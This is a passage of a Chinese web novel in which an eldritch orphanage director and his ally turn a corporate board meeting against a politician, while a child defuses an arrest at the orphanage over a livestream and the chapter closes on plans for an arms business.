议员先生很快就接过话茬:“这是因为,在场的所有人都怀揣着同样的正义,相信同一个真相——那就是老汉克·文森特,绝对不可能向哈代夫妇下毒。”
“达斯汀副署长提供的录音并非属实,或者曾被人篡改过,以现在的科技来看,这完全有可能。”
原本还坐在桌边玩手机的哈斯塔缓缓抬头:“??”
芬尼安简直要炸了,不光是因为议员扭曲事实令他愤怒,更因为:你小子疯了??院长多护短一人……一非人,踩他一个还好说,一口气踩俩??
哈斯塔原本还在跟G8273发短信,了解在场这些人跟老汉克都有什么利益关系,现在直接将手机熄灭了,侧过头深深地凝视发言的议员先生。
芬尼安在内心大骂会议厅里为什么没有睡眠眼罩,如果他能重新掌权,第一件事一定是要求所有的会议厅里都安置一个睡眠眼罩,最好再来个耳塞:
“我也在现场。总署长也在现场。你是想说我们都听错了?”
政客先生感觉鼻腔有点发热,但他没有在意,只继续保持微笑:
“您提出的这个假设并非没有可能。甚至我想进一步提出另一个问题——”
“您该如何证明,您就是九年前失踪的卢西亚诺·哈代呢?”
“……?”哪怕一心挂记着如何安抚院长的芬尼安都被这句话给问愣了。
“样貌?指纹?DNA?记忆?这些都可以被复制和伪造,”政客先生感觉鼻腔有些发痒,他随手擦了一下,接着用命发言:
“如果九年前您并未死亡,为什么不直接出现在大众面前,接过父母的遗产,而是选择一走了之九年,又在九年后突然回归呢?”
芬尼安简直匪夷所思:“我的父母才被‘失踪’,再傻我也不可能继续大摇大摆地出现在公司或者人权,嫌自己活得太久吗?”
“但这只是您的单方面解释。”政客先生总算在旁人的提议下发现自己正在流鼻血,但这不算什么大问题,他身残志坚地接过手帕捂住鼻腔接着发言:
“就像达斯汀副署长提供的那份录音,就像您的身份,这都是可以轻易伪造的假证。”
“因此,我认为必须有一个权威机构,能够为这些证据的真伪做出鉴定判断——比如今天与会的米迦勒之翼制药集团。”
“不用我说,诸位也知道集团在医学方面的权威性。我相信在座的诸位都有和集团签署急救会员合约——哦,也许除了我面前这位身份不明的客人。”
政客先生还嫌自己死的不够靠,主动向哈斯塔倾身靠近:“冒昧地询问一下您的职业?我很好奇,巴比伦的董事会为什么会允许外人入内。”
和芬尼安想的不太一样,哈斯塔这会儿其实不怎么生气,更多的还是期待芬尼安会作何反应。
他盯视政客先生也绝对不是有意伤人,纯粹是正常反应——会议上谁说话看谁难道不是正常反应吗?
一般的正常人遇到这种情况,都会出于本能地逃避与哈斯塔对视。就像当初在酒店中,人人都躲着哈斯塔如避蛇蝎,就连老汉克气急败坏都不敢直视哈斯塔。
但偏偏今天的政客先生不同,他身上多少有点犟种在,越是内心感到害怕,就越是逼自己直视……就属于那种恐怖片里人家鬼已经大叫一声示警“别靠近,会死哦”,还得第一个怒吼着冲出去送的人,会受污染真的一点不冤。
哈斯塔有来有往地和政客先生聊了几句(有来有往指政客先生话里有话,哈斯塔只回答字面意思),才意识到芬尼安可能真的被政客先生设的明局给难住了:“——稍等,先生。”
他礼貌地向已经脸色发紫还坚守岗位的政客先生点头致意,转身拉了拉芬尼安交头接耳:“你不知道怎么处理这种子虚乌有的构陷?”
芬尼安觉得自己平时示人的也不是老谋深算的形象啊,他更多的是充当打手:
“这是明谋,如果真让米迦勒之翼检测,我百分百会被敲章认证成骗子。你有没有办法?——除了全杀光以外。”
那个政客他是有心无力了(可能也不是那么有心),他又不是什么圣父,但剩下的人——
他的意思是说,董事会得给他留几个人吧?不然以后的活谁干?难道要把烂摊子一股脑都塞给G8273吗?他不敢。
“……”哈斯塔也想说我平时示人也不是精通政治话术的形象啊,他更多得也是充当打手,“等我找个人问下。”
G8273就算了,对方已经明确表态不打算和人类政治搅合不清。以前他可能不太在意,但现在以他们之间的关系……他决定还是要尊重一下AI的个I原则的。
那还有谁能问?谁会有能力解决这种难题?
思来想去,哈斯塔缓缓点击了【登出游戏】……
现实的钢铁巢穴映入眼帘。
哈斯塔看了一眼时间,晚上七点半,恰是人类社畜加班的好时间。
哈斯塔放心地给绝不可能提前下班的老板编辑短信:
【致老板:……】
他将来龙去脉解释了一遍,诚恳询问:
【像这种情况,应该怎么处理呢?】
他等待了三分钟,都以为老板不会回复了,刚琢磨着“要不问问绿朱草?但绿朱草也经常被同事的诡计难住”,手机震了一下:
【要短期方案还是长期方案?】
哈斯塔:“?”
不愧是老板,果然还在加班——不是,果然好用——也不是,果然经验老道。他们还在为想出一个方案发愁,老板甚至能分个长短期计划。
他虚心白嫖……不是,求教:【短期怎么做?长期怎么做?】
老板的回复简洁清晰,和他的言行完全一致,丝毫捕捉不到游戏GM亲来亲去的影子:
【短期:询问与会成员……】
·
“——是否愿意承担,‘意外被绑架,好不容易死里逃生,却被否认身份’的风险?”
芬尼安照着哈斯塔教的话术说的时候,嘴一直在扭来扭去,主要是在憋笑。
要不是还得谈判,他这会儿绝对就指着对面脸色骤然变绿的人大笑开了:
“比如议员先生?你愿意吗?我确认您的政绩如此优秀,一定有很多眼红的敌人。如果其中一位想组织一场绑架,您又不幸被他得逞……”
好不容易囫囵个地回到政府大楼,却被另一位政敌指出自己可能是假冒的,而自己却无法自证——
议员先生已经开始喘不过气了,他甚至分不清楚这是病因性的还是心因性的,因为芬尼安提出的这种可能不是没有,甚至可以说是很可能发生。
芬尼安又眯眼看向董事会:“诸位可能不用太过担忧。毕竟大家都很相信米迦勒之翼,不是吗?”
“我相信集团绝对不会做出收受贿赂,帮你们的竞争对手修改鉴定结果的事。”
“毕竟他们是最权威的医疗机构,这种造假行为*今天*不会发生,以后当然*也*不可能发生。”
“……”全体董事会鸦雀无声。
他们的眼睛不禁开始往老对手的方向瞟,又不禁往集团代表的方向瞟:
是啊?既然米迦勒之翼今天能替他们造假结果,那谁能保证以后不会帮其他人造假结果?
那以后谁惦记上他们的身家,岂不是流程很简单了?
第一步,绑架他们。把他们关几天再放出来。
第二步,指责他们并不是他们自己。
由于他们没法自证,这一旦被绑架,岂不就等于直接社会性死亡??他们不就只能看着自己的身家财产被同流合污的对手瓜分??
不行!绝对不行!!
董事会立即有人站出来:“我认为议员先生提出的猜想不太实际。认人如果不靠样貌、DNA、记忆辨认,还能靠什么辨认?”
“我相信在卢西亚诺·哈代先生进门时,公司的安检部门就已经校验过他的这些信息。站在我们面前的,的确就是如假包换的卢西亚诺·哈代先生。”
呼吸困难的议员还想挣扎:“但录音仍有可能造假——”
“为什么不交给权威机构鉴定呢?”芬尼安微笑着向脸哇绿的集团代表点头,“不如就交给米迦勒之翼制药集团?虽然他们在这方面并不是最专业的,但一定是大家最放心的——”
“或者,是大家最希望能放心的。”
“毕竟就像议员先生刚刚所说,在座的所有人几乎都是米迦勒之翼的紧急救援会员,你们一定希望把自己的生命交付给一个可靠的、诚实的、技术足够先进的公司,不是吗?”
“……”集团代表的脸青得像苦瓜,“所以,如果我们鉴定出虚假的信息,或者不慎损毁录音载体——”
“天啊,希望不会。”芬尼安故作震惊地看着集团代表,“你们会‘不慎损毁’接受紧急救援的会员吗?”
集团代表的声音几乎是从牙缝里挤出来:“……不。”
芬尼安摊开双手:“那大家还有什么其他意见?”
整个会议厅里的局势彻底颠倒。
原本矜持高傲的人要么脸色难看,要么丧眉搭眼。
原本只能坐在长桌侧面的芬尼安双手撑着桌面,即便并未身在主位,却已经掌控了整个会议厅的大局。
这场董事会的结果已经不再有悬念了,不愿配合的人们最多就只能指望米迦勒之翼拖延一下鉴定结果出来的时间。但那又有什么用呢?
为了证明集团的信誉,米迦勒之翼必然会给出真实的答案。
老汉克·文森特会被定罪,卢西亚诺·哈代会拿回属于自己的股份。
他们唯一能做的,就是赶在卢西亚诺·哈代重新上位之前,打好与小哈代先生的关系——即便他们才试图围攻过小哈代。
利益面前,哪有永远的敌人?
董事会高深莫测的神色变得和善起来,也就只有政客和被很坑了一把的集团代表还在坚持。
医疗代表“啪”地一声将自己手中的笔拍在桌上,脸颊肉都跟着过度用力的动作一起抖:
“既然如此,我也正好趁董事会这个机会说明一件事。”
“巴比伦公司为全体员工购置的医疗服务及绑定福利,是老汉克·文森特先生个人同米迦勒之翼签订的合同。”
“如果巴比伦公司的负责人不再是老汉克·文森特,这份合约将立即作废。”
哈斯塔稍微坐直了一下身体:这是新抛出来的难题,但他不算太意外。
纳西斯在路上给他们简单说过各方势力“吃回扣”的金额,政府和集团绝对是名列前茅,甚至遥遥领先。
重利之下,必然会有利益既得者拼命想守住利益。格外积极的政客先生,以及百折不挠的集团代表,显然就是既得者中的一员。
他在桌下推了推芬尼安的腿,伸手想把手机里纳西尔收集到的受贿证据递给芬尼安,但芬尼安却头也不转地在桌下冲他摇了摇手,冲着米迦勒之翼露出和善微笑:
“真的?那真是太遗憾了。容我询问您一个问题,代表先生。”
“米迦勒之翼同重要客户签署的应急救援合约中是否保证过,你们会为贵宾提供‘最高效的服务,使用最快的载具’?”
“那又如何?”集团代表警惕地眯起眼睛,“我们已经拥有了一架‘梅林’。”
“但如果出现比梅林更快的载具呢?”
芬尼安忽略了一旁董事会既惊且喜的“你设计出了新款”的低呼,微微前倾身体,神情里带着几分讥嘲的味道:
“我恐怕你们很快就得绞尽脑汁思考,该如何向这些重要客户们解释你们为什么无法提供‘最高效的服务,使用最快的交通工具’……嘶,这算不算违约啊?”
芬尼安故作好奇,低声轻语:
“不知道贵集团的客户名单里,有多少善于咬文嚼字的大律师?有多少富有但吝啬的银行家?”
“一旦他们得知这些消息,会不会向借机从你们身上咬下一块肉——哦,不,是合法地追究你们违约的责任?”
芬尼安注视着集团代表才刚恢复底气的脸重新变白:“真想知道那会让你们损失多少钱呢?”
“……”集团代表面色灰败,向后重重靠在椅背上,彻底不说话了。
唯一剩下的就只有那位政客——不过他在芬尼安和集团代表争执的时候就晕了过去,谁让他非得一直盯着哈斯塔较劲。
他身边跟着的小秘书被迫顶了上来,在颤颤巍巍举手之后,憋了半天:“我……我,议员先生身体不适,能否中场休息半小时,半……”
小秘书在芬尼安不耐暴躁的瞥视中硬生生把话吞了回去:“十、十分钟也行……?”
合理的要求,即便是芬尼安也无法反驳。
与会众人顿时放松下来,一些本来就不打算凑这个热闹的人开始聊笑,另一部分有野心的人则呼啦一下将哈斯塔和芬尼安团团围住。
围住哈斯塔的董事们争先恐后递名片:
“精彩的辩论,我猜测您应该就是小哈代先生新请来的智囊?”
“我看见你和小哈代先生只是交谈几句,他就轻松逆转了局势!”
“有任何难处,不要犹豫,联系我。”
围住芬尼安的董事们激动询问:
“你真的能制造出比梅林更快的机型?”
“什么?还有新的主意?”
“哦天,卢西亚诺·哈代先生,你真该早点回来,我的钱……我是说,我本人一定会非常欢迎你。”
芬尼安好不容易扒拉开围着自己的那波人,再一看被淹没的自家蛋黄……不是,自家院长,顿时大怒伸手,强硬地扒开讨厌的董事会臭老头老太们:
“做你们的春秋大美梦,想让院长替你们办事,怎么不差点安眠药早点上床呢?走!都走!别逼我翻脸!”
哈斯塔接了一堆名片,但完全没上心,他只是琢磨小秘书一定要申请延时,也不赶紧把议员送去医院的行为有点奇怪。
芬尼安同样这么想:“我总觉得这个议员好像别有机会,这会儿他的秘书是在帮忙拖延时间。但他们想等什么?”
哈斯塔刚想搭一句不知道,心底蓦然掠过几分不祥的预感:“他们能做的无外乎是威逼利诱,如果不能从你身上找到破绽……”
那就只能从身边的人下手了。
哈斯塔和芬尼安不约而同地想起了之前被税务官用用孤儿们威胁的经历,脸色同时——哦不,没有同时。
哈斯塔异常镇定:
前台老师厨师学校都有了,二楼公共浴室现在甚至还有一个大泳池。来检查的人除了挑剔“条件太好,建议给我安排入住”以外还能说什么?
报税表?阿尔法已经平完了。孤儿太少?孤儿少那犯法吗?
与此同时,凤凰区孤儿院门口。
一位政府官员抱着手里文件,呆呆地注视前院里躯干扭曲的千奇百怪的树。
过了半秒,他狠狠用文件夹砸了一下自己的头:什么叫千奇百怪??这怎么能叫千奇百怪呢?这是什么,腊梅!整整十三株!这种观赏性的植物,每一株那都是天价……这是腊梅吗?不!这是阔佬的牌面!
……所以他们市政府门口为什么没有这种牌面?是政客每年捞到的钱不够多吗?
孤儿院后院。
第二位政府官员提着老旧的手提箱,傻傻地眺望眼前水雾氤氲的湖:
这是什么?湖。Lake。Lac。
……谁能告诉他这个孤儿院里为什么还有一片这么大的湖??一整片啊,这么大,圈在孤儿院的围栏里……等等,这是合法持有的吗?
官员立即在系统里检索了一下,再次受到了来自阔佬的暴击:真的!是!合法!持有的!阔佬甚至还拥有一座属于自己的钟塔!哈哈!他没疯!他才不在乎自己攒了十二年房贷买的小区里还没有一座地标钟塔呜呜呜……
独立学院·网络教室里。
第三位政府官员颤抖地伸手,试图抚摸旁边学生介绍的“教具”,但因为该款全息头盔过于昂贵,他考虑了一下自己的工资,考虑了一下是否存在自己手滑的可能性,还是谨慎地缩回了手。
孤儿院二楼·公共浴室里。
最后一位政府官员沉默地注视面前的大泳池:“……”
阿道夫站在一旁,多少有点忐忑,他不是很擅长跟人社交:“有什么问题吗?”
“……”政府官员张了张嘴,又合上,半晌组织出一串礼貌的常用辞令,“我很难不注意到,你们孤儿院的师资力量有些单薄。事实上我本人在网络安全方面颇有建树,不知道……呃,你们的员工宿舍在哪?能带我看……检查一下吗?”
阿道夫:“……?”
来审查就审查,突然介绍自己的专业特长做什么?
第42章 第 42 章 G8273:?
想是这么想, 但阿道夫肯定不可能质疑来审查的官员。他带着人走向公共浴室的大门,伸手欲推时又被官员拦了一下。
名为罗伯特的官员以一种“啊这为什么不能莫名其妙地出现在我家”的神情摸了一下双开门——三层结构,防潮防蛀, 一般这种大门只会在高官富豪家中看见,而不是出现在孤儿院的公共浴室:
“是这样的。”
“如果你们愿意考虑一下……扩招师资队伍, 我将很乐意告诉你们, 接下来一段时间千万不要让那位达斯汀副署长回到孤儿院。我猜那位副署长应该和你们关系匪浅?”
“……”阿道夫无精打采的目光顿时一凝,“什么意思?会有人来找达斯汀的麻烦?”
“我没法说的更多,”罗伯特看了一眼手表,“但我可以建议您,尽可能在两分钟之内告知达斯汀副署长这个消息, 否则——”
“咚!”
双开门忽然被人重重撞开。
破门而入的学员匆匆说道:“教官, 门口又来了一波政府的人,刚好和才回来的达斯汀先生碰上,那帮人二话不说就要带达斯汀先生走, 我们把他们拦在大厅了!”
罗伯特的脸上掠过几分愕然,仿佛有人来找麻烦是他意料之内的事,但提前发生却是在意料之外。
阿道夫眼前顿时一黑——倒不是因为达斯汀的危机, 这种危机对经历过人体试验等诸多绝境的阿道夫来说真不算什么, 更大的危机应该是:
他该如何向院长解释, 有人进入了院长的巢穴, 并且试图从他的巢穴中带走他的员工?
他张了张嘴硬是没能说得出话, 最后看向学员:“有人跟院长通风报信吗?”
学员震惊回瞪,疯狂摇头:“谁敢?又不是突然不想活,决定毁灭世界了。但现在这样硬堵着人也不是事啊,万一把那帮子西装官员惹恼了呢?打个电话叫一堆政府军来‘暴力执法’?”
哈哈,更棒了。
那他们要想的就是如何向院长解释“有人类进入了院长的巢穴, 并把院长的巢穴轰烂”这种更致命的问题。
阿道夫:“……”
学员也:“……”
一时间,各种有关邪神毁灭世界的影视文学作品和想象划过他们的脑海,楼下的争执通过敞开的大门传进来:
“副署长先生,我必须再次重复一遍政府方面的要求。”
“9月31日,洛文德区公海。柯兰·多米诺先生的游轮因黄袍怪物的出现而失事沉没。”
“11月26日,乔伊街。分警署因黄袍怪物的出现而发生爆炸,以分警署为中心,方圆数千米内的人员全部昏迷,小半个乔伊街陷入瘫痪将近两个小时!”
“这两起怪物袭击事件在公民间造成了极大的恐慌,而根据我们的调查,两起事件中都有您存在的身影。”
如果哈斯塔或G8273在这里,他们就能发现正在威逼利诱的人正是跟在罗南女士身边的小秘书。
此时秘书深吸了一口气,以苦口婆心的语气劝说:
“我不得不再次恳请您,让这些拦在您面前的人散开,并跟我回政府大厦接受调查。这样没人会因此受到伤害……”
“……”整个孤儿院的人都顶着一张死人脸看秘书。
“没人会因此受到伤害”?放屁!整个世界都会受到伤害!
达斯汀开始思考负罪潜逃,牺牲自己拯救世界。
学员们开始思考挟持达斯汀潜逃,牺牲自己拯救世界。
阿道夫则沉吟着摸了摸腰间的武器,开始思考要不要为了世界的存亡而开小范围屠杀。
秘书莫名感觉背后一寒,忍不住往带来的政府军士兵身后缩了缩:“总而言之,我相信诸位都不想——”
“扑、扑。”
一双小手忽然在这千钧一发之际拍了拍秘书的裤腿。
秘书低头一看,对上一张雪团子似的小脸:“——这就是你们孤儿院管束孩子的能力?我确定我们正在进行一场重要的对——”
“扑、扑。”阿尔法又拍了拍秘书的小腿。
撇除掉面部表情匮乏不谈,阿尔法长得真的很可爱。属于那种不经意间刷到短视频或者照片,会忍不住停下来多欣赏几眼、甚至发出一声“要是能生出这种女儿,我也可以”的感叹的颜值。
即便是一心向事业的秘书,也没能抵抗得住她的第二次打断:“——好吧,你想要什么?先说好,我还在上班期间,没法陪你玩。”
阿尔法扬着小脸,面无表情地问:“黄袍怪物是什么?是吧卜吧卜童话书上的角色吗?就像睡美人里的坏女巫,美人鱼里的乌苏拉那样?”
“黄袍怪物真的存在吗?那坏女巫也存在吗?仙女教母呢?”
“……”秘书愣是卡壳了一下才找回逻辑,“不,他们不一样。睡美人、仙女教母只是童话故事里的虚构角色,怎么可能存在?但这个黄袍怪物,祂是真的——”
“为什么不一样?”阿尔法揪着秘书的西装裤裤摆,两只大眼睛亮得像一汪湖,“他们听起来都是从故事书里走出来的人。如果美人鱼不存在,仙女教母也不存在,那为什么黄袍怪物存在呢?”
阿尔法适当地表现出对大人的怀疑,用稚嫩的童声语重心长:“你是不是被你的朋友骗了?她们在告诉你‘黄袍怪物是真的’的时候,有没有给你看证据?比如照片、录像什么的,或者录音。”
“我……”秘书张口结舌。
“黄袍怪物”、“拜亚基”,这些都是事件的亲历者做出的口供。一旦涉及到实证资料,那就抓瞎了——
不论是监控镜头,还是脑芯的录影,都没有捕捉到所谓的“黄袍之王哈斯塔”,或“长得像怪鸟的拜亚基”的身影。
那些声称自己骑着拜亚基回家的教徒提供的录影显示,他们是被一些小型负重飞行器送回家的,而这些飞行器的订购记录,又完整清晰地出现在柯林·多米诺生前的财务支出上。
很难说那些信徒及家眷为什么异口同声说“亲眼目睹拜亚基的模样”,在今天之前,政府内部还在讨论这是不是经典的“群体性癔症”呢……
但好在像这种拘捕并不需要向目标出示证据,只需要出示逮捕令,秘书从怀中取出文件,向达斯汀展示:“我相信你不会想违背逮捕——”
阿尔法又拍了拍他的小腿:“所以——你没有黄袍怪物存在的证据。你只是在为一些捕风捉影的谣言抓捕达斯汀叔叔?”
小姑娘天真无邪的眼神看得秘书都要心梗了,但小孩就喜欢扮演十万个为什么:
“我也会被抓捕吗?官员叔叔?如果明天有几个和我关系很坏的讨厌鬼向你举报,说看见我和黄袍怪物一起过家家,我也会被抓捕吗?”
“那个黄袍怪物是什么?你们来抓达斯汀叔叔,那个怪物一定很坏对不对?但达斯汀叔叔说,那些信徒都被安全送回了家,警局爆炸也没有人受伤——祂会是死神吗?”
小姑娘掰起手指:“相机、镜头都拍摄不到祂,祂只出现在出现死伤的地方……我觉得祂一定是个非常尽职的死神!”
小姑娘举起双手,兴高采烈——站在楼上的阿道夫都看呆了,他都不知道阿尔法能做出这种表情:
“因为轮船坏了,本来会有很多人死亡的,但祂没有乱收人命!”
“警局爆炸,本来也可能出现很多人死亡的,但是祂来了就走,就说明本来有人会死的,但是有人救下了那个倒霉鬼,所以死神先生看完现场就离开啦!没有强行收走人命!祂还是个超级善良的死神!”
“它——”秘书结巴了一下,感觉跟这种小孩子说不清楚道理。
正要伸手把阿尔法拽开,一个十七八岁的姑娘抱着电脑,一楼学院里冲出来:“我知道你!弹幕都告诉我了,你是罗南议员身边的行政秘书对不对?那你最好停下这个荒唐的抓捕行动,以免影响罗南议员的支持率!”
“什么?什么弹幕??”
秘书还没开口,二楼的罗伯特旋风一样冲下来,一把抢过凯西的电脑——哦,他没抢动,四十多岁的办公桌常坐客,怎么可能抢得过能轻松翻窗夜逃的年轻人。
他只能使劲凑到电脑前看那些震惊或愤怒的弹幕:
【??滑天下之大稽!图维亚镇、乔伊街天天都在发生帮派暴力事件,政府管都不管,说人手不足,现在倒是有心情来管‘童话故事里的角色显灵了’??】
【**这帮**才是蠢到吧卜吧卜】
【现在是什么情况?那些议员想搞政治迫害都这么简单粗暴了?以前还会安个合理的原因,提供不管是真是假的证据,现在直接就硬来?】
【罗南议员有没有把民主自由放在眼里???今天她能这样‘请人谈话’,明天是不是就能请不愿给她投票的选民谈话了??】
【只有事件的亲历者能见到的黄色身影……镜头却无法捕捉……只有我一个人觉得,这小豆丁童言无忌,但有可能戳中真相吗?】
【真的细思极恐……那个黄袍两次出现,都是出现在可能存在死者的现场。但既然祂第二次出现时无人伤亡,就说明祂出现的目的并不是随便伤人,对吧?
那小萝莉说的真的可能是正确的,祂就是为了收割亡者的灵魂去的!所以那么多人见到祂还是能活着回家,因为他们根本不在祂的‘工作列表’上!第二次无人伤亡,因为有人意外救下了那个本该死亡的倒霉蛋,所以祂打道收工!】
【为什么死神会突然示现?没人觉得有死神在人间游荡很恐怖吗?谁知道祂什么时候会拿着镰刀找上门?】
【但这个死神明显很有原则。第二次无人伤亡,祂都到现场了还不是啥也没干就走了?】
【严肃地讨论一个问题:没有觉得死神这个设定很涩(已屏蔽200字涉.黄发言)】
【来自一个快要加班猝死的社畜:死神不显露身形,人也照样会死。那现不现身有啥区别?
我倒希望祂能现身,最好提前三天给我发个预告。这样我就能在死前三天把文件砸到傻*老板脸上,痛快走人,然后在家里玩个三天三夜,而不是在该死的工位上加班到猝死。】
罗伯特看起来快昏厥了:“亨利!你——”
他似乎想骂人,但直播没结束,并且还不能结束——他一边飞快掏出手机,盲打发送短信,一边冲刺到亨利秘书与孤儿院人员之间:
“我相信这都只是个误会——呃,一定是有人把未经议员女士批准的文件不慎放到了你的桌头,所以你才会执行这个一听就很蠢的命令,对吗亨利?”
罗伯特一把攥住了亨利的手腕,两个政府官员陷入激烈的眼神争斗。
而在二楼,阿道夫仍处于痴呆状态:“……”
一旁的学员凑过来,若有所思:“你觉得这是谁的计划?教官?凯西?不,她做事一向直来直去,最多拐一个弯就顶天了。伊塔?呃,那小子只会识破诡计,根本不会一点算计。”
“你觉得……这有可能,是阿尔法的主意吗?教官?”
阿道夫不知道,阿道夫在紧张得冒汗。
这会他的思绪已经从“世界毁灭”转移到“子女教育”上了,谨慎到手忙脚乱地思考:
阿尔法似乎在理科方面颇有天赋。但阿尔法好像也很适合政治……不不,比起擅长,还是阿尔法自己的兴趣更重要,但是阿尔法好像没什么特别的兴趣?
除了每天早上必扒在他床边蹲守他睁眼,仿佛要确认他又决定多活一天而不是寻死似的……
楼下,那位罗南议员很快赶到,当着直播的面将秘书批得狗血淋头,又和来时一样匆匆地风风火火离开。只留下了一个政府官员负责善后——也就是罗伯特。
阿道夫心情复杂地看着凯西和阿尔法对了一下掌,合上电脑手牵着手蹦跶回学院。
收回视线时,达斯汀刚和罗伯特结束热情的拥抱,带着这位立场不明的官员走上来:
“阿道夫!介绍一下,这位是我曾经的同学,现在是罗南女士的幕僚。”
“非常抱歉让孤儿院遭受这样荒唐的攻讦,”罗伯特的手还搭在达斯汀的肩膀上,“请允许我为今天的一切做一个合理的解释。”
阿道夫思考着养女的教育问题,胡乱冲罗伯特点头:“这种事应该和院长——”
他习惯性推搪的话说到一半戛然而止,赶紧改口:“——跟我们解释就够了,完全不需要惊动院长。”
“……?”罗伯特奇怪地看了眼神色瞬间紧张得像趟雷区似的孤儿院员工们,还是很从善如流地接着往下说:
“我相信诸位一定知道,目前最有望竞争总统的人选一共有两位,一位是罗南女士,另一位是莫提默爵士。”
“因为老汉克的失误——你们懂的,罗南女士近期遭到了一系列牵连和压力。这一次的抓捕,就是莫提默爵士一方施压,强迫议员女士执行的。”
“但女士本人并不赞成这个行动,尤其是她对达斯汀副署长的品性非常称赞。所以她提前派来了我,代为向诸位发出提醒,意图避开这次冲突。”
罗伯特稍微凑近了些,压低声音解释:
“事实上,这个抓捕行动具有一定的……‘时效性’,是为了增加莫提默爵士在另一场谈判桌上的筹码。”
“所以只要避开今天,往后都不可能再有人闲着蛋疼来找达斯汀的麻烦。”
他的脸上流露出几分恼火:“但我和罗南女士都没想到,亨利居然会提前抵达孤儿院,没按照计划,给我留出警告的时间……”
“他一定是被莫提默爵士收买了!谈判桌上肯定出了什么意外,所以他才被催促提前进行抓捕!”
这不是什么光彩的事,会吐露出来,纯粹是因为罗伯特这个人精参观完了堪称奢华的孤儿院,认为孤儿院的所有者不好招惹,与其为敌不如为友:
“但不论怎样,让诸位遭遇不愉快的经历都是我方的过失。罗南女士非常希望能有机会补偿孤儿院——也许过几天,议员女士会邀请院长共进晚餐,进一步探讨孤儿院的需求?”
达斯汀和阿道夫瞬间过电似的齐齐一激灵,达斯汀激烈的摇头摆手:“啊不不不,完全不需要,议员女士能派你先来,我已经相信女士的诚意。”
阿道夫沉默地跟着点头:好不容易关闭的世界毁灭警报,能不能别再想着再扒拉一下了?
罗伯特纳闷地挠着头被两个人半推半送出孤儿院,转头掏出手机回复罗南议员:
【他们并不打算接受我们的示好,但应该……相信我们的友善……?
不论如何,您能及时赶来真是太好了。不论莫提默爵士正在促成哪场谈判,都希望他不幸失败。】
与此同时,巴比伦公司总部,董事会议厅。
哈斯塔还在和芬尼安挨着头讨论“议员的目的到底是什么”,就见会议厅旁的小休息室门被人推开。
所有人都不约而同地将目光投过去,会议主持者立马起身走到门边:“布莱克先生感觉好点了?可以继续会议了?”
议员先生黑着脸坐在轮椅上,被秘书推出来:“——不。”
他显然很不甘,但胸膛起伏了几下,还是恨恨地说:“没有继续会议了必要了。就照之前说的做吧,容我先行告退,去看医生。”
与会众人都很困惑,但真正因为这个决定感到愤怒、追上议员质问的只有集团代表。
哈斯塔根本不在意这两个人类的离去,只跟着芬尼安一起起身,跟在人群的最后面,走向门口:
“我猜是我今天的改建起了奇效。”
“的确。”
会议厅门口,G8273就抱着手臂,靠站在门边,裁剪得体的西裤将他的腿衬得笔直修长,周围路过他的人简直恨不得避着他走——以免被衬得整个人只有小文森特的腿长:“的确算是决定性的因素之一。”
“之一?”哈斯塔的注意力立即被G8273抓了过去。
G8273将手机递给哈斯塔,示意他点击查看:“六分钟前,有两波人先后抵达孤儿院。”
“第一波人是罗南女士——就是昨天我们在诊所门口看到的那位女士的心腹。另一拨人受雇于莫提默爵士——就是今天这位布莱克议员的领导。”
“按照罗南女士原定的计划,第一波人只是负责充当保险。正常情况下,那位罗伯特先生并不会挺身而出。”
“但目睹孤儿院内的各种设施,让罗伯特先生确信孤儿院的所有者一定实力——至少财力雄厚。比起放任事态发展,给莫提默爵士示弱以轻敌;不如主动出面制止,给孤儿院卖个好。”
换句话说,的确是哈斯塔今天的改建,才令逮捕风波迅速平息。
“……”哈斯塔却无心听G8273的分析。
他看着手机中播放的脑芯录像,脸上轻松的神情逐渐凝固,怒火开始在眼中腾烧:“他们竟然敢进入我的巢穴,抢夺我的眷属?!”
一旁凑过来一起看的芬尼安大惊失色,慌忙扑上来抱住哈斯塔:“不要冲——”
他被G8273沉稳有力的手臂拦住了。推又推不开,正恼得想骂人,G8273泰然自若地伸手,当面抱住哈斯塔,脸上丝毫不见任何心虚。
芬尼安根本没往歪了想,毕竟这俩不是早就井水河水老抱在一起贴贴?G8273愿意接手,他甚至还松了一口气,觉得这样保险多了。
他接着劝说哈斯塔:“真别冲动,世界还是美好的,想想小芬尼安,小达斯汀,小阿道夫……”
芬尼安碎碎念得像试图用安眠曲催眠三头犬:“那个罗伯特不是说了?这次针对达斯汀的行动只是为了这场董事会,咱们已经挫败了他们的阴谋,以后这种抓捕行动都不会发生——”
“谁能保证?”哈斯塔这次却没有那么好哄。
他眼中的金纹都像小蛇一样疯狂扭动游走起来,格外骇人,如果不是G8273的约束,他的精神污染大概已经将整个高佩街变成血肉与脑浆的盛宴:“单凭罗伯特的口头保证?”
“你想怎么做?”G8273饶有兴致地侧头观察哈斯塔,“亲自在那些政客面前示现,将未来每一个前来挑衅的人都污染成肉块?”
“很快你就会成为众矢之的,所有人类会空前团结地调集所有兵力、军火攻击你和你身后的孤儿院。最后的结局还是无人生还。”
这才是阿尔法最后硬要扯一个死神概念的原因——死亡是人一生都要面对的永恒主题,接受死神的存在,比接受邪神的存在要容易多了。
你对群众说“凤凰区有一个邪神!”,绝大多数的人第一反应绝对是“什么?!为什么政府军还没出动去剿灭这种怪物!!”
但你对群众说“凤凰区有死神在游荡”?绝大多数人的第一反应绝对是恐慌以及将凤凰区列为“终生不去旅游的地点”。
没多少人会一拍桌面说“走!我们扛□□轰炸死神去!”——拜托,这不是白给死神送业绩吗?
换句话说,要想和人类打交道——重点是,比较和平的打交道,需要展现的并不是超乎人类想象能力的力量,反而得是人类本身能够理解、已经接受的力量。
正如老板在回信中所说的长期方案:
“发展军火。”
哈斯塔的行动效率一向极高,他简短地回答完,立即拖出建设界面,将一直闲置的地下室分割出来一块,改建为【军用科技部】,并将擅长于此道的阿道夫拖入职工表,成为——呃,兼职军科部的负责人。
技术问题由阿道夫负责,运输问题刚好可以借用巴比伦公司的渠道,人力就从剩下没去美食街的学员中抽调,他相信这些学生一点不介意再多学一门新手艺(学员发出尖锐的爆鸣)。
唯一剩下的问题,就是原材料从哪里进。
哈斯塔敲了敲面板,思索片刻后关闭建筑界面,看向谨慎盯着他观察的芬尼安:“你和迪思默帮接触的理由想好没有?如果没有的话——‘想做军火生意’这个借口如何?”
芬尼安愣了一下:“还真有可行性……只要我能拿到一些切实的东西,比如几份足够具有吸引力的武器设计图?”
只要不是想毁灭世界,做点军火生意怎么了呢?跟哈斯塔本尊比起来,那些军火多无害?
芬尼安举起双手双脚支持,一边碎碎念着要为生意的起步准备些什么,以及要如何跟迪思默帮勾兑,一边走向门外。
